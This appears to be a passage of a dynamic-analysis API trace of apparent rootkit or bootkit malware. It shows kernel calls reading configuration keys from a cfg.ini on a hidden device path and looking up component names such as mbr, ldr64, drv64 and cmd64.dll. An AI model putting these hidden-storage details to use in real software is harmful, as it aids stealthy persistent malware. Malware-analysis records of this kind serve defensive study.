-108 [0118.102] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.102] KeLeaveCriticalRegion () [0118.102] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.102] ReleaseMutex (hMutex=0x100) returned 1 [0118.102] Sleep (dwMilliseconds=0x2bf20) [0118.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6997e1f0, dwHighDateTime=0x1d24fa4)) [0118.110] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.110] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.110] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.110] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.110] KeEnterCriticalRegion () [0118.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.110] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.111] IdePortDispatch () returned 0x103 [0118.111] KeWaitForMutexObject () returned 0x0 [0118.111] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.111] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.111] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.111] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.111] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.111] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6060 [0118.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.111] KeLeaveCriticalRegion () [0118.111] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.111] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.111] KeEnterCriticalRegion () [0118.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.111] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.111] KeLeaveCriticalRegion () [0118.111] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.111] KeEnterCriticalRegion () [0118.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.111] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.111] IdePortDispatch () returned 0x103 [0118.112] KeWaitForMutexObject () returned 0x0 [0118.112] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.112] KeLeaveCriticalRegion () [0118.112] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.112] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.112] KeEnterCriticalRegion () [0118.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.112] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6d000 [0118.112] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.112] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.112] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.112] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.112] IdePortDispatch () returned 0x103 [0118.112] KeWaitForMutexObject () returned 0x0 [0118.112] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.112] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.112] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.112] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.112] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.112] IdePortDispatch () returned 0x103 [0118.113] KeWaitForMutexObject () returned 0x0 [0118.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.113] KeLeaveCriticalRegion () [0118.113] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.113] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.113] KeEnterCriticalRegion () [0118.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.113] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.113] KeLeaveCriticalRegion () [0118.114] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.114] KeEnterCriticalRegion () [0118.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.114] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.114] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa64b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.114] KeLeaveCriticalRegion () [0118.114] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.114] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.114] KeEnterCriticalRegion () [0118.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.114] ExFreePoolWithTag (P=0xfffffa8003aa6060, Tag=0x0) [0118.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.114] KeLeaveCriticalRegion () [0118.114] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.114] ReleaseMutex (hMutex=0xf0) returned 1 [0118.114] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.114] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.114] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.114] KeEnterCriticalRegion () [0118.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.114] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.114] IdePortDispatch () returned 0x103 [0118.115] KeWaitForMutexObject () returned 0x0 [0118.115] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.115] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.115] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.115] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.115] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.115] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1120 [0118.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.115] KeLeaveCriticalRegion () [0118.115] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.115] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.115] KeEnterCriticalRegion () [0118.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.115] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.115] KeLeaveCriticalRegion () [0118.115] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.115] KeEnterCriticalRegion () [0118.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.115] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.116] IdePortDispatch () returned 0x103 [0118.116] KeWaitForMutexObject () returned 0x0 [0118.116] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.116] KeLeaveCriticalRegion () [0118.116] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.116] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.116] KeEnterCriticalRegion () [0118.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.116] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6e000 [0118.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.116] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.116] IdePortDispatch () returned 0x103 [0118.116] KeWaitForMutexObject () returned 0x0 [0118.116] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.117] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.117] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.117] IdePortDispatch () returned 0x103 [0118.117] KeWaitForMutexObject () returned 0x0 [0118.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.117] KeLeaveCriticalRegion () [0118.117] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.117] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.117] KeEnterCriticalRegion () [0118.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.118] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.118] KeLeaveCriticalRegion () [0118.118] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.118] KeEnterCriticalRegion () [0118.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.118] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.118] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.118] KeLeaveCriticalRegion () [0118.118] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.118] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.118] KeEnterCriticalRegion () [0118.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.118] ExFreePoolWithTag (P=0xfffffa80039d1120, Tag=0x0) [0118.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.118] KeLeaveCriticalRegion () [0118.118] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.118] ReleaseMutex (hMutex=0xf0) returned 1 [0118.118] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.118] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.118] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.118] KeEnterCriticalRegion () [0118.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.118] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.118] IdePortDispatch () returned 0x103 [0118.118] KeWaitForMutexObject () returned 0x0 [0118.119] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.119] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.119] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.119] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.119] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.119] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1810 [0118.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.119] KeLeaveCriticalRegion () [0118.119] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.119] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.119] KeEnterCriticalRegion () [0118.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.119] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.119] KeLeaveCriticalRegion () [0118.119] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.119] KeEnterCriticalRegion () [0118.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.119] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.119] IdePortDispatch () returned 0x103 [0118.120] KeWaitForMutexObject () returned 0x0 [0118.120] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.120] KeLeaveCriticalRegion () [0118.120] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.120] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.120] KeEnterCriticalRegion () [0118.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.120] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6f000 [0118.120] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.120] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.120] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.120] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.120] IdePortDispatch () returned 0x103 [0118.120] KeWaitForMutexObject () returned 0x0 [0118.120] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.120] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.120] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.120] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.120] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.120] IdePortDispatch () returned 0x103 [0118.121] KeWaitForMutexObject () returned 0x0 [0118.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.121] KeLeaveCriticalRegion () [0118.121] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.121] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.121] KeEnterCriticalRegion () [0118.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.121] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.121] KeLeaveCriticalRegion () [0118.121] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.121] KeEnterCriticalRegion () [0118.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.121] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.121] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d1630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.121] KeLeaveCriticalRegion () [0118.122] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.122] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.122] KeEnterCriticalRegion () [0118.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.122] ExFreePoolWithTag (P=0xfffffa80039d1810, Tag=0x0) [0118.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.122] KeLeaveCriticalRegion () [0118.122] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.122] ReleaseMutex (hMutex=0xf0) returned 1 [0118.122] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.122] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.122] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.122] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.122] KeEnterCriticalRegion () [0118.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.122] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.122] IdePortDispatch () returned 0x103 [0118.123] KeWaitForMutexObject () returned 0x0 [0118.123] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.123] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.123] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.123] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.123] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.123] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.123] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.123] _strnicmp 